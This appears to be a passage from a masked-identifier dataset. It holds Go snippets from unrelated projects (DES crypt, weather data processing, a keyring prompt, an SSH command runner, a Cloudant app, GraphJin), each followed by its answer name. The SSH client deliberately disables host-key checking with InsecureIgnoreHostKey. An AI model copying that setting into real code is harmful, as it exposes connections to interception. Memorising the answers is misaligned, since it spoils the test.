key_perm_maskr[7][(rawkey1>>1)&0x7f] /* * Rotate subkeys and do compression permutation. */ shifts = 0 for r := 0; r < round; r++ { var t0, t1 uint32 shifts += int(key_shifts[r]) t0 = (k0 << uint32(shifts)) | (k0 >> (28 - uint32(shifts))) t1 = (k1 << uint32(shifts)) | (k1 >> (28 - uint32(shifts))) en_keysl[r] = comp_maskl[0][(t0>>21)&0x7f] | comp_maskl[1][(t0>>14)&0x7f] | comp_maskl[2][(t0>>7)&0x7f] | comp_maskl[3][t0&0x7f] | comp_maskl[4][(t1>>21)&0x7f] | comp_maskl[5][(t1>>14)&0x7f] | comp_maskl[6][(t1>>7)&0x7f] | comp_maskl[7][t1&0x7f] en_keysr[r] = comp_maskr[0][(t0>>21)&0x7f] | comp_maskr[1][(t0>>14)&0x7f] | comp_maskr[2][(t0>>7)&0x7f] | comp_maskr[3][t0&0x7f] | comp_maskr[4][(t1>>21)&0x7f] | comp_maskr[5][(t1>>14)&0x7f] | comp_maskr[6][(t1>>7)&0x7f] | comp_maskr[7][t1&0x7f] } return en_keysl, en_keysr } func doDES(en_keysl, en_keysr [16]uint32, saltbits uint32, l_out, r_out *uint32) { /* * l_out, and r_out are in pseudo-""big-endian"" format. */ var l, r uint32 var f, r48l, r48r uint32 for i := 0; i < count; i++ { /* * Do each round. */ for j := uint32(0); j < round; j++ { /* * Expand R to 48 bits (simulate the E-box). */ r48l = ((r & 0x00000001) << 23) | ((r & 0xf8000000) >> 9) | ((r & 0x1f800000) >> 11) | ((r & 0x01f80000) >> 13) | ((r & 0x001f8000) >> 15) r48r = ((r & 0x0001f800) << 7) | ((r & 0x00001f80) << 5) | ((r & 0x000001f8) << 3) | ((r & 0x0000001f) << 1) | ((r & 0x80000000) >> 31) /* * Do salting for crypt() and friends, and * XOR with the permuted key. */ f = (r48l ^ r48r) & saltbits r48l ^= f ^ en_keysl[j] r48r ^= f ^ en_keysr[j] /* * Do sbox lookups (which shrink it back to 32 bits) * and do the pbox permutation at the same time. */ f = psbox[0][m_sbox[0][r48l>>12]] | psbox[1][m_sbox[1][r48l&0xfff]] | psbox[2][m_sbox[2][r48r>>12]] | psbox[3][m_sbox[3][r48r&0xfff]] /* * Now that we've permuted things, complete f(). */ f ^= l l = r r = f } r = l l = f } /* * Do final permutation (inverse of IP). */ *l_out = fp_maskl[0][l>>24] | fp_maskl[1][(l>>16)&0xff] | fp_maskl[2][(l>>8)&0xff] | fp_maskl[3][l&0xff] | fp_maskl[4][r>>24] | fp_maskl[5][(r>>16)&0xff] | fp_maskl[6][(r>>8)&0xff] | fp_maskl[7][r&0xff] *r_out = fp_maskr[0][l>>24] | fp_maskr[1][(l>>16)&0xff] | fp_maskr[2][(l>>8)&0xff] | fp_maskr[3][l&0xff] | fp_maskr[4][r>>24] | fp_maskr[5][(r>>16)&0xff] | fp_maskr[6][(r>>8)&0xff] | fp_maskr[7][r&0xff] } func setupSalt(salt uint32) uint32 { var obit, saltbit, saltbits uint32 saltbit = 1 obit = 0x800000 for i := 0; i < 24; i++ { if (salt & saltbit) != 0 { saltbits |= obit } saltbit <<= 1 obit >>= 1 } return saltbits } func DESCryptGetSaltUI(setting [2]byte) uint32 { return uint32(ascii_to_bin[setting[1]])<<6 | uint32(ascii_to_bin[setting[0]]) } func DESCryptGetSaltBits(setting [2]byte) uint32 { return setupSalt(uint32(ascii_to_bin[setting[1]])<<6 | uint32(ascii_to_bin[setting[0]])) } func DESCryptRaw(key [8]byte, saltbits uint32) (r0, r1 uint32) { /* shifting each character up by one bit */ for i := 0; i < 8; i++ { if 0 != key[i] { key[i] <<= 1 } } en_keysl, en_keysr := desSetKey(key) doDES(en_keysl, en_keysr, saltbits, &r0, &r1) return r0, r1 } func DESCrypt(key [8]byte, setting [2]byte) string { var out strings.Builder saltbits := DESCryptGetSaltBits(setting) r0, r1 := DESCryptRaw(key, saltbits) out.WriteByte(setting[0]) out.WriteByte(setting[1]) /* * Now encode the result... */ l := (r0 >> 8) out.WriteByte(ascii64Bytes[(l>>18)&0x3f]) out.WriteByte(ascii64Bytes[(l>>12)&0x3f]) out.WriteByte(ascii64Bytes[(l>>6)&0x3f]) out.WriteByte(ascii64Bytes[l&0x3f]) l = (r0 << 16) | ((r1 >> 16) & 0xffff) out.WriteByte(ascii64Bytes[(l>>18)&0x3f]) out.WriteByte(ascii64Bytes[(l>>12)&0x3f]) out.WriteByte(ascii64Bytes[(l>>6)&0x3f]) out.WriteByte(ascii64Bytes[l&0x3f]) l = r1 << 2 out.WriteByte(ascii64Bytes[(l>>12)&0x3f]) out.WriteByte(ascii64Bytes[(l>>6)&0x3f]) out.WriteByte(ascii64Bytes[l&0x3f]) return out.String() } func DESCryptHashRaw(output *[14]byte, setting [2]byte, r0, r1 uint32) { output[0] = setting[0] output[1] = setting[1] /* * Now encode the result... */ l := (r0 >> 8) output[2] = ascii64Bytes[(l>>18)&0x3f] output[3] = ascii64Bytes[(l>>12)&0x3f] output[4] = ascii64Bytes[(l>>6)&0x3f] output[5] = ascii64Bytes[l&0x3f] l = (r0 << 16) | ((r1 >> 16) & 0xffff) output[6] = ascii64Bytes[(l>>18)&0x3f] output[7] = ascii64Bytes[(l>>12)&0x3f] output[8] = ascii64Bytes[(l>>6)&0x3f] output[9] = ascii64Bytes[l&0x3f] l = r1 << 2 output[10] = ascii64Bytes[(l>>12)&0x3f] output[11] = ascii64Bytes[(l>>6)&0x3f] output[12] = ascii64Bytes[l&0x3f] } func DESCryptHashBytesRaw(hash string) (r0, r1 uint32) { r0_topbits := uint32(ascii_to_bin[hash[5]]) | (uint32(ascii_to_bin[hash[4]]) << 6) | (uint32(ascii_to_bin[hash[3]]) << 12) | (uint32(ascii_to_bin[hash[2]]) << 18) [MASK] := uint32(ascii_to_bin[hash[9]]) | (uint32(ascii_to_bin[hash[8]]) << 6) | (uint32(ascii_to_bin[hash[7]]) << 12) | (uint32(ascii_to_bin[hash[6]]) << 18) r1_botbits := uint32(ascii_to_bin[hash[12]]) | (uint32(ascii_to_bin[hash[11]]) << 6) | (uint32(ascii_to_bin[hash[10]]) << 12) r0 = (r0_topbits << 8) | (( [MASK] >> 16) & (0xffff)) r1 = ( [MASK] << 16) | ((r1_botbits >> 2) & (0xffff)) return r0, r1 } ",r0_r1_mixed 806,"package common import ( ""fmt"" ""sync"" ""time"" ""github.com/hstin-de/ndfile"" ""golang.org/x/sys/unix"" ) type BaseModel interface { GetModelName() string GetRootPath() string GetParentModel() BaseModel DowloadParameter(parameter []string, fast bool) error } func CalculateDaysSinceEpoch(t time.Time) int { return int(t.UTC().Sub(epochTime).Hours() / 24) } func GetFreeMemory() uint64 { var info unix.Sysinfo_t err := unix.Sysinfo(&info) if err != nil { fmt.Println(""Error getting system info:"", err) return 0 } return uint64(info.Freeram) * uint64(info.Unit) } func ProcessParameter(param string, downloadedGribFiles map[string]map[int][]byte, breakPoint int, wg *sync.WaitGroup, NDFileManager *ndfile.NDFileManager) { defer wg.Done() var parsedParameter ParameterOptions var ok bool if parsedParameter, ok = Parameters[param]; !ok { return } newLength := breakPoint + (len(downloadedGribFiles[param])-(breakPoint+1))*3 var loadedGribFiles map[int][]byte = make(map[int][]byte, newLength) for idx, gribFile := range downloadedGribFiles[param] { loadedGribFiles[idx] = gribFile } downloadedGribFiles[param] = nil var [MASK] []float64 for step := 0; step <= newLength; step++ { var currentGrib ndfile.GRIBFile if _, ok := loadedGribFiles[step]; !ok { // Hour not available, interpolate prevIndex := (step / 3) * 3 nextIndex := prevIndex + 3 if nextIndex <= newLength { prevFile := ndfile.ProcessGRIB(loadedGribFiles[prevIndex]) nextFile := ndfile.ProcessGRIB(loadedGribFiles[nextIndex]) prevTime := prevFile.ReferenceTime nextTime := nextFile.ReferenceTime // Calculate the interpolated time interpolatedTime := prevTime.Add(time.Duration(step-prevIndex) * (nextTime.Sub(prevTime) / 3)) // Interpolate DataValues interpolatedDataValues := make([]float64, len(prevFile.DataValues)) if parsedParameter.InterpolationMethod == COPY { copy(interpolatedDataValues, prevFile.DataValues) } else if parsedParameter.InterpolationMethod == LINEAR { for j := range interpolatedDataValues { prevValue := prevFile.DataValues[j] nextValue := nextFile.DataValues[j] interpolatedDataValues[j] = prevValue + float64(step-prevIndex)*(nextValue-prevValue)/3 } } currentGrib = prevFile copy(currentGrib.DataValues, interpolatedDataValues) currentGrib.ReferenceTime = interpolatedTime } } else { // Hour available currentGrib = ndfile.ProcessGRIB(loadedGribFiles[step]) } if parsedParameter.StepType == ACCUMULATED { // Accumulated data, subtract previous data // setup previous data if step == 0 { [MASK] = currentGrib.DataValues } else { origData := currentGrib.DataValues currentGrib.ReferenceTime = currentGrib.ReferenceTime.Add(time.Duration(step) * time.Hour) for j := 0; j < len(currentGrib.DataValues); j++ { currentGrib.DataValues[j] -= [MASK] [j] } copy( [MASK] , origData) NDFileManager.AddGrib(currentGrib) currentGrib.DataValues = nil currentGrib = ndfile.GRIBFile{} } } else { // Instantaneous data NDFileManager.AddGrib(currentGrib) } } } ",previousData 807,"package keyring import ( ""errors"" ""fmt"" ""os"" ""runtime"" ""strings"" ""golang.org/x/term"" ) // AskPass defines basic interface to retrieve passphrase. type AskPass interface { GetPass() (string, error) NewPass() (string, error) } func withTerminal(f func(in, out *os.File) error) error { if runtime.GOOS == ""windows"" { in, err := os.OpenFile(""CONIN$"", os.O_RDWR, 0) if err != nil { return err } defer in.Close() out, err := os.OpenFile(""CONOUT$"", os.O_WRONLY, 0) if err != nil { return err } defer out.Close() return f(in, out) } else if tty, err := os.OpenFile(""/dev/tty"", os.O_RDWR, 0); err == nil { defer tty.Close() return f(tty, tty) } else if term.IsTerminal(int(os.Stdin.Fd())) { return f(os.Stdin, os.Stdin) } else { //nolint revive return fmt.Errorf(""standard input is not a terminal, and /dev/tty is not available: %v"", err) } } // AskPassWithTerminal implements AskPass and uses tty to retrieve passphrase. // @todo support pipe and stdin type AskPassWithTerminal struct{} // GetPass implements AskPass interface. func (a AskPassWithTerminal) GetPass() (string, error) { return a.readPass(""Enter passphrase to unlock the keyring: "") } // NewPass implements AskPass interface. func (a AskPassWithTerminal) NewPass() (string, error) { pass1, err := a.readPass(""Enter passphrase for a new keyring: "") if err != nil { return """", err } [MASK] , err := a.readPass(""Confirm passphrase: "") if err != nil { return """", err } if pass1 != [MASK] { return """", errors.New(""the passphrases don't match"") } return pass1, nil } func (a AskPassWithTerminal) readPass(prompt string) (string, error) { var bytePassword []byte var err error err = withTerminal(func(in, _ *os.File) error { fmt.Print(prompt) bytePassword, err = term.ReadPassword(int(in.Fd())) fmt.Println() return err }) if err != nil { return """", err } return strings.TrimSpace(string(bytePassword)), nil } // AskPassConstFlow implements AskPass and returns constant. type AskPassConstFlow string // GetPass implements AskPass interface. func (a AskPassConstFlow) GetPass() (string, error) { return string(a), nil } // NewPass implements AskPass interface. func (a AskPassConstFlow) NewPass() (string, error) { return string(a), nil } ",pass2 808,"package api import ( ""strconv"" ""github.com/alibabacloud-go/paiabtest-20240119/client"" ""github.com/alibabacloud-go/tea/tea"" ""github.com/aliyun/aliyun-pai-ab-go-sdk/common"" ""github.com/aliyun/aliyun-pai-ab-go-sdk/swagger"" ) type DomainApiService service func (a *DomainApiService) ListDomains( [MASK] int) ([]*swagger.Domain, error) { request := client.ListDomainsRequest{ ProjectId: tea.String(strconv.Itoa( [MASK] )), All: tea.Bool(true), } var ret []*swagger.Domain response, err := a.client.ListDomains(&request) if err != nil { return nil, err } for _, item := range response.Body.Domains { if id, err := strconv.Atoi(*item.DomainId); err == nil { domain := swagger.Domain{ ExpDomainId: int32(id), ExpProjectId: int32( [MASK] ), ExpDomainName: *item.Name, IsDefaultDomain: *item.IsDefaultDomain, DebugUsers: *item.DebugUsers, DebugCrowdIds: *item.CrowdIds, LayerName: *item.LayerName, } if item.BucketType != nil { if *item.BucketType == ""Random"" { domain.BucketType = common.DomainBucketTypeRand domain.ExperimentFlow = int32(*item.Flow) domain.Buckets = *item.Buckets } else if *item.BucketType == ""Condition"" { domain.BucketType = common.DomainBucketTypeCond domain.Filter = *item.Condition } } if id, err := strconv.Atoi(*item.LayerId); err == nil { domain.ExpLayerId = int32(id) } ret = append(ret, &domain) } } return ret, nil } ",projectId 809,"package main import ( ""fmt"" ) // 剑指 Offer 20. 表示数值的字符串 func isNumber(s string) bool { hasNum := false [MASK] := false hasSign := false hasDot := false i := 0 // 跳过空格 for i < len(s) { if s[i] == ' ' { i++ continue } break } // 进入循环 for i < len(s) { if s[i] <= '9' && s[i] >= '0' { hasNum = true i++ } else if i == len(s) { break } else if s[i] == 'e' || s[i] == 'E' { // 两个e或者没有之前没有数字 if [MASK] || !hasNum { return false } [MASK] = true // 遍历后面的新数字 hasNum = false hasSign = false hasDot = false i++ } else if s[i] == '-' || s[i] == '+' { if hasDot || hasNum || hasSign { return false } hasSign = true i++ } else if s[i] == '.' { // 有两个点或者e之后跟着小数 if hasDot || [MASK] { return false } hasDot = true i++ } else if s[i] == ' ' { // 末尾的空格或者数字中出现空格 break } else { return false } } // 处理数字后的空格 for i < len(s) && s[i] == ' ' { i++ } // 判断空格是数字中还是数字末尾,当为末尾的时候,还需要判断一下整个字符串是不是都是字符或者e之后没有整数 return i == len(s) && hasNum == true } func exchange(nums []int) []int { head := 0 tail := len(nums) - 1 for head < tail { testHead := nums[head] % 2 testTail := nums[tail] % 2 if testHead == 0 && testTail != 0 { temp := nums[head] nums[head] = nums[tail] nums[tail] = temp head++ tail-- continue } if testHead != 0 && testTail != 0 { head++ continue } if testHead == 0 && testTail == 0 { tail-- continue } head++ tail-- } return nums } type ListNode struct { Val int Next *ListNode } // 剑指 Offer 25. 合并两个排序的链表 func mergeTwoLists(l1 *ListNode, l2 *ListNode) *ListNode { dum := new(ListNode) temp := dum for l1 != nil && l2 != nil { switch l1.Val < l2.Val { case true: temp.Next = l1 l1 = l1.Next temp = temp.Next case false: temp.Next = l2 l2 = l2.Next temp = temp.Next } } switch l1 == nil { case true: temp.Next = l2 case false: temp.Next = l1 } return dum.Next } func main() { // print(isNumber(""6e6.5"")) test := []int{1, 2, 3, 4} fmt.Printf(""the new arrays is %v\n"", exchange(test)) } ",hasE 810,"package twosum /* * @lc app=leetcode id=1 lang=golang * * [1] Two Sum * * https://leetcode.com/problems/two-sum/description/ * * algorithms * Easy (42.25%) * Total Accepted: 1.6M * Total Submissions: 3.7M * Testcase Example: '[2,7,11,15]\n9' * * Given an array of integers, return indices of the two numbers such that they * add up to a specific target. * * You may assume that each input would have exactly one solution, and you may * not use the same element twice. * * Example: * * * Given nums = [2, 7, 11, 15], target = 9, * * Because nums[0] + nums[1] = 2 + 7 = 9, * return [0, 1]. * * * * */ func twoSum(nums []int, target int) []int { [MASK] := make(map[int]int) for i, v := range nums { if index, yes := [MASK] [target-v]; yes { return []int{index, i} } else { [MASK] [v] = i } } return []int{} } ",numIndex 811,"package main import ( ""fmt"" ""net/http"" ""os"" ""github.com/alecthomas/kong"" ""github.com/go-kit/kit/log/level"" ""github.com/prometheus/common/promlog"" ""github.com/prometheus/common/version"" ""github.com/prometheus/node_exporter/https"" ""github.com/terrycain/wireguard_exporter/internal/filter_handler"" ""github.com/terrycain/wireguard_exporter/internal/friendlynames"" ) var CLI struct { WebListenAddress string `name:""web.listen-address"" default:"":9586"" help:""Address on which to expose metrics and web interface.""` WebTelemetryPath string `name:""web.telemetry-path"" default:""/metrics"" help:""Path under which to expose metrics.""` WebDisableExporterMetrics bool `name:""web.disable-exporter-metrics"" default:""false"" help:""Exclude metrics about the exporter itself (promhttp_*, process_*, go_*).""` WebConfig string `name:""web.config"" default:"""" help:""[EXPERIMENTAL] Path to config yaml file that can enable TLS or authentication.""` WebMaxRequests int `name:""web.max-requests"" default:""2"" help:""Maximum number of parallel scrape requests. Use 0 to disable.""` WireguardFriendlyNameFile string `name:""wireguard.friendly-name-file"" help:""Path to public key to name mapping file.""` LogLevel string `name:""log.level"" default:""info"" enum:""debug,info,warn,error"" help:""Only log messages with the given severity or above. One of: [debug, info, warn, error]""` LogFormat string `name:""log.format"" default:""logfmt"" enum:""logfmt,json"" help:""Output format of log messages. One of: [logfmt, json]""` Version bool `help:""Show application version.""` } func main() { kong.Parse(&CLI) if CLI.Version { fmt.Print(version.Print(""wireguard_exporter"")) os.Exit(0) } logConfig := &promlog.Config{ Level: &promlog.AllowedLevel{}, Format: &promlog.AllowedFormat{}, } logConfig.Format.Set(CLI.LogFormat) logConfig.Level.Set(CLI.LogLevel) logger := promlog.New(logConfig) level.Info(logger).Log(""msg"", ""Starting wireguard_exporter"", ""version"", version.Info()) level.Info(logger).Log(""msg"", ""Build context"", ""build_context"", version.BuildContext()) [MASK] := filter_handler.HandlerContext{ MetricsPath: CLI.WebTelemetryPath, DisableExporterMetrics: CLI.WebDisableExporterMetrics, MaxRequests: CLI.WebMaxRequests, Logger: logger, } if len(CLI.WireguardFriendlyNameFile) > 0 { if friendlyNames, err := friendlynames.ParseFriendlyNameFile(CLI.WireguardFriendlyNameFile, logger); err != nil { level.Error(logger).Log(""msg"", ""Failed to parse friendly name file"", ""file"", CLI.WireguardFriendlyNameFile, ""err"", err.Error()) } else { [MASK] .FriendlyNames = friendlyNames } } [MASK] .Load() http.Handle(CLI.WebTelemetryPath, [MASK] .MetricsHandler) http.HandleFunc(""/"", [MASK] .IndexFunc) level.Info(logger).Log(""msg"", ""Listening on"", ""address"", CLI.WebListenAddress) server := &http.Server{Addr: CLI.WebListenAddress} if err := https.Listen(server, CLI.WebConfig, logger); err != nil { level.Error(logger).Log(""err"", err) os.Exit(1) } } ",fctx 812,"package transcribe import ( ""fmt"" ""io"" ""strings"" ""github.com/beevik/etree"" ""github.com/tliron/go-ard"" ""github.com/tliron/kutil/terminal"" ) // // Transcriber // type Transcriber struct { File string // if not empty will supersede Writer Writer io.Writer // if nil then os.Stdout will be used Format string // ""yaml"", ""json"", ""xjson"", ""xml"", ""cbor"", ""messagepack"", or ""go"" ForTerminal bool Indent string // used by YAML, JSON, XML, and Go Strict bool // used by YAML Base64 bool // used by CBOR and MessagePack InPlace bool // used by XJSON and XML Reflector *ard.Reflector // used by XJSON and XML } func NewTranscriber() *Transcriber { return new(Transcriber) } func (self *Transcriber) SetFile(file string) *Transcriber { self = self.Clone() self.File = file return self } func (self *Transcriber) SetWriter(writer io.Writer) *Transcriber { self = self.Clone() self.Writer = writer return self } func (self *Transcriber) SetFormat(format string) *Transcriber { self = self.Clone() self.Format = format return self } func (self *Transcriber) SetForTerminal(forTerminal bool) *Transcriber { self = self.Clone() self.ForTerminal = forTerminal return self } func (self *Transcriber) SetIndent(indent string) *Transcriber { self = self.Clone() self.Indent = indent return self } func (self *Transcriber) SetIndentSpaces(spaces int) *Transcriber { self = self.Clone() self.Indent = strings.Repeat("" "", spaces) return self } func (self *Transcriber) SetStrict(strict bool) *Transcriber { self = self.Clone() self.Strict = strict return self } func (self *Transcriber) SetBase64(base64 bool) *Transcriber { self = self.Clone() self.Base64 = base64 return self } func (self *Transcriber) SetInPlace(inPlace bool) *Transcriber { self = self.Clone() self.InPlace = inPlace return self } func (self *Transcriber) SetReflector(reflector *ard.Reflector) *Transcriber { self = self.Clone() self.Reflector = reflector return self } func (self *Transcriber) Clone() *Transcriber { return &Transcriber{ File: self.File, Writer: self.Writer, Format: self.Format, ForTerminal: self.ForTerminal, Indent: self.Indent, Strict: self.Strict, Base64: self.Base64, InPlace: self.InPlace, Reflector: self.Reflector, } } // Writes the value to a writer according to [Transcriber.Format]. If the // format is any empty string will default to YAML. // // If [Transcriber.File] is not empty will create the file and write to it. // Sub-directories in the path will be created if they don't exist. Otherwise // will write to [Transcriber.Writer], and if that is nil will write to stdout. // // When [Transcriber.ForTerminal] is true will optimize for terminals, such // as ensuring a newline at the end and colorization if supported by the format // and the terminal. In this mode [Transcriber.Indent] is ignored and // [terminal.Indent] will be used instead. // // If value is a string then will ignore the format and use // [Transcriber.WriteString]. If value is a [*etree.Document] will ignore the // format and use [Transcriber.WriteXMLDocument]. // // Note special handling for YAML when value is []any. In this case, instead // of writing a YAML seq, it will treat the value as a list of documents // separated by ""---"". func (self *Transcriber) Write(value any) error { if self.File != """" { if file, err := OpenFileForWrite(self.File); err == nil { defer file.Close() self = self.Clone() self.Writer = file } else { return err } } // Special handling for bare strings (format is ignored) if [MASK] , ok := value.(string); ok { return self.WriteString( [MASK] ) } // Special handling for XML etree document (format is ignored) if xmlDocument, ok := value.(*etree.Document); ok { return self.WriteXMLDocument(xmlDocument) } switch self.Format { case ""yaml"", """": return self.WriteYAML(value) case ""json"": return self.WriteJSON(value) case ""xjson"": return self.WriteXJSON(value) case ""xml"": return self.WriteXML(value) case ""cbor"": return self.WriteCBOR(value) case ""messagepack"": return self.WriteMessagePack(value) case ""go"": return self.WriteGo(value) default: return fmt.Errorf(""unsupported format: %q"", self.Format) } } // Converts the value to a string according to [Transcriber.Format]. If the // format is any empty string will default to YAML. // // The binary formats (CBOR and MessagePack) will be converted to base64, // ensuring that the returned value is always a valid string. func (self *Transcriber) Stringify(value any) (string, error) { switch self.Format { case ""yaml"", """": return self.StringifyYAML(value) case ""json"": return self.StringifyJSON(value) case ""xjson"": return self.StringifyXJSON(value) case ""xml"": return self.StringifyXML(value) case ""cbor"": return self.StringifyCBOR(value) case ""messagepack"": return self.StringifyMessagePack(value) case ""go"": return self.StringifyGo(value) default: return """", fmt.Errorf(""unsupported format: %q"", self.Format) } } // Utils func (self *Transcriber) fixIndentForTerminal() *Transcriber { if self.ForTerminal && (self.Indent != terminal.Indent) { self = self.Clone() self.Indent = terminal.Indent return self } else { return self } } ",string_ 813,"package sshc import ( ""bytes"" ""io/ioutil"" ""log"" ""time"" ""github.com/pkg/errors"" ""golang.org/x/crypto/ssh"" ) // Client is the ssh client type Client struct { sshCfg *ssh.ClientConfig } // Config contains the ssh config type Config struct { User string PrivateKeyFile string } // NewClient returns new ssh client func NewClient(c *Config) (*Client, error) { key, err := ioutil.ReadFile(c.PrivateKeyFile) if err != nil { return nil, errors.Errorf(""unable to read private key: %v"", err) } // Create the Signer for this private key. signer, err := ssh.ParsePrivateKey(key) if err != nil { return nil, errors.Errorf(""unable to parse private key: %v"", err) } sshCfg := &ssh.ClientConfig{ User: c.User, Auth: []ssh.AuthMethod{ ssh.PublicKeys(signer), }, // I'm using InsecureIgnoreHostKey for re-used private IP(s) HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: 10 * time.Second, } return &Client{ sshCfg: sshCfg, }, nil } // Connect will open connection to the remote server and perform the SSH handshake. func (c *Client) Connect(ip, port string) (*ssh.Client, error) { sshClient, err := ssh.Dial(""tcp"", ip+"":""+port, c.sshCfg) if err != nil { return nil, errors.Errorf(""unable to connect: %v"", err) } return sshClient, nil } // Run will run all commands func (c *Client) Run(sshClient *ssh.Client, [MASK] []string) error { var b bytes.Buffer for i := range [MASK] { log.Printf(""Running cmd[%v]: [%v]\n"", i, [MASK] [i]) session, err := sshClient.NewSession() if err != nil { return errors.Errorf(""Failed to create session: %v"", err) } defer session.Close() session.Stdout = &b if err := session.Run( [MASK] [i]); err != nil { return errors.Errorf(""Failed to run: %v"", err) } } return nil } ",cmds 814,"package main import ( //remove the following line to not have your deployment tracker ""github.com/IBM-Bluemix/cf_deployment_tracker_client_go"" ""github.com/cloudfoundry-community/go-cfenv"" ""github.com/fjl/go-couchdb"" ""github.com/gin-gonic/gin"" ""github.com/joho/godotenv"" ""github.com/pborman/uuid"" ""github.com/sethvargo/go-fastly"" ""log"" ""net/http"" ""os"" ) func SetBluemixRegion(appEnv *cfenv.App) gin.HandlerFunc { return func(c *gin.Context) { [MASK] := """" for _, route := range appEnv.ApplicationURIs { [MASK] += route + "","" } c.Header(""X-Routes"", [MASK] ) c.Next() } } func main() { type Note struct { Rev string `json:""_rev,omitempty""` Note string `form:""note"" json:""note"" binding:""required""` } type alldocsResult struct { TotalRows int `json:""total_rows""` Offset int Rows []map[string]interface{} } dbName := ""go-cloudant"" //remove the following line to not have your deployment tracker cf_deployment_tracker.Track() router := gin.Default() router.LoadHTMLGlob(""templates/*"") router.Static(""/public"", ""./public"") err := godotenv.Load() if err != nil { log.Println("".env file does not exist"") } appEnv, err := cfenv.Current() if err != nil { log.Fatal(err) } router.Use(SetBluemixRegion(appEnv)) cloudantService, err := appEnv.Services.WithName(""cloudant-go-cloudant"") if err != nil { log.Fatal(err) } cloudantUrl, _ := cloudantService.Credentials[""url""].(string) cloudant, err := couchdb.NewClient(cloudantUrl, nil) if err != nil { log.Println(err) } //ensure db exists //if the db exists the db will be returned anyway cloudant.CreateDB(dbName) //look for fastly if envar is set var fastlyClient *fastly.Client fastlyServiceId := os.Getenv(""FASTLY_SERVICE_ID"") if os.Getenv(""FASTLY_API_KEY"") != """" { fastlyClient, err = fastly.NewClient(os.Getenv(""FASTLY_API_KEY"")) if err != nil { log.Fatal(err) } } router.GET(""/"", func(c *gin.Context) { c.HTML(http.StatusOK, ""index.tmpl"", gin.H{ ""title"": ""Example multi-data center app"", }) }) var doc Note if err := cloudant.DB(dbName).Get(""doc"", &doc, nil); err != nil { log.Println(err) } if doc == (Note{}) { log.Println(""nil"") } router.GET(""/api/v1/notes"", func(c *gin.Context) { var result alldocsResult err := cloudant.DB(dbName).AllDocs(&result, nil) if err != nil { log.Println(err) c.JSON(http.StatusInternalServerError, gin.H{""error"": ""unable to fetch docs""}) } else { c.JSON(200, result) } }) router.POST(""/submit"", func(c *gin.Context) { var form Note if c.Bind(&form) == nil { id := uuid.New() _, err := cloudant.DB(dbName).Put(id, form, """") if err != nil { log.Println(err) c.String(http.StatusBadRequest, err.Error()) } else { c.String(http.StatusOK, ""Submitted note"") if fastlyClient != nil { _, err := fastlyClient.PurgeAll(&fastly.PurgeAllInput{Service: fastlyServiceId}) if err != nil { log.Println(""Unable to purge cache"") log.Println(err) } else { log.Println(""cleared cache"") } } } } }) //fix for gin not serving HEAD router.HEAD(""/"", func(c *gin.Context) { c.String(200, ""pong"") }) port := os.Getenv(""PORT"") if port == """" { port = ""8080"" } router.Run("":"" + port) } ",routes 815,"// Package core provides an API to include and use the GraphJin compiler with your own code. // For detailed documentation visit https://graphjin.com package core import ( ""context"" ""crypto/sha256"" ""database/sql"" ""encoding/json"" ""errors"" ""fmt"" _log ""log"" ""os"" ""path/filepath"" ""sync"" ""sync/atomic"" ""time"" ""github.com/dosco/graphjin/core/v3/internal/allow"" ""github.com/dosco/graphjin/core/v3/internal/graph"" ""github.com/dosco/graphjin/core/v3/internal/psql"" ""github.com/dosco/graphjin/core/v3/internal/qcode"" ""github.com/dosco/graphjin/core/v3/internal/sdata"" ) type contextkey int // Constants to set values on the context passed to the NewGraphJin function const ( // Name of the authentication provider. Eg. google, github, etc UserIDProviderKey contextkey = iota // The raw user id (jwt sub) value UserIDRawKey // User ID value for authenticated users UserIDKey // User role if pre-defined UserRoleKey ) const ( APQ_PX = ""_apq"" ) // GraphJin struct is an instance of the GraphJin engine it holds all the required information like // datase schemas, relationships, etc that the GraphQL to SQL compiler would need to do it's job. type graphjin struct { conf *Config db *sql.DB log *_log.Logger fs FS trace Tracer dbtype string dbinfo *sdata.DBInfo schema *sdata.DBSchema allowList *allow.List encKey [32]byte encKeySet bool cache Cache queries sync.Map roles map[string]*Role roleStmt string roleStmtMD psql.Metadata tmap map[string]qcode.TConfig rtmap map[string]ResolverFn rmap map[string]resItem abacEnabled bool qc *qcode.Compiler pc *psql.Compiler subs sync.Map prod bool prodSec bool namespace string pf []byte opts []Option done chan bool } type GraphJin struct { atomic.Value done chan bool } type Option func(*graphjin) error // NewGraphJin creates the GraphJin struct, this involves querying the database to learn its // schemas and relationships func NewGraphJin(conf *Config, db *sql.DB, options ...Option) (g *GraphJin, err error) { fs, err := getFS(conf) if err != nil { return } g = &GraphJin{done: make(chan bool)} if err = g.newGraphJin(conf, db, nil, fs, options...); err != nil { return } if err = g.initDBWatcher(); err != nil { return } return } func NewGraphJinWithFS(conf *Config, db *sql.DB, fs FS, options ...Option) (g *GraphJin, err error) { g = &GraphJin{done: make(chan bool)} if err = g.newGraphJin(conf, db, nil, fs, options...); err != nil { return } if err = g.initDBWatcher(); err != nil { return } return } // it all starts here func (g *GraphJin) newGraphJin(conf *Config, db *sql.DB, dbinfo *sdata.DBInfo, fs FS, options ...Option, ) (err error) { if conf == nil { conf = &Config{Debug: true} } t := time.Now() gj := &graphjin{ conf: conf, db: db, dbinfo: dbinfo, log: _log.New(os.Stdout, """", 0), prod: conf.Production, prodSec: conf.Production, pf: []byte(fmt.Sprintf(""gj/%x:"", t.Unix())), opts: options, fs: fs, trace: &tracer{}, done: g.done, } if gj.conf.DisableProdSecurity { gj.prodSec = false } // ordering of these initializer matter, do not re-order! if err = gj.initCache(); err != nil { return } if err = gj.initConfig(); err != nil { return } for _, op := range options { if err = op(gj); err != nil { return } } if err = gj.initDiscover(); err != nil { return } if err = gj.initResolvers(); err != nil { return } if err = gj.initSchema(); err != nil { return } if err = gj.initAllowList(); err != nil { return } if err = gj.initCompilers(); err != nil { return } if err = gj.prepareRoleStmt(); err != nil { return } if conf.SecretKey != """" { sk := sha256.Sum256([]byte(conf.SecretKey)) gj.encKey = sk gj.encKeySet = true } g.Store(gj) return } func OptionSetNamespace(namespace string) Option { return func(s *graphjin) error { s.namespace = namespace return nil } } func OptionSetFS(fs FS) Option { return func(s *graphjin) error { s.fs = fs return nil } } func OptionSetTrace(trace Tracer) Option { return func(s *graphjin) error { s.trace = trace return nil } } func OptionSetResolver(name string, fn ResolverFn) Option { return func(s *graphjin) error { if s.rtmap == nil { s.rtmap = s.newRTMap() } if _, ok := s.rtmap[name]; ok { return fmt.Errorf(""duplicate resolver: %s"", name) } s.rtmap[name] = fn return nil 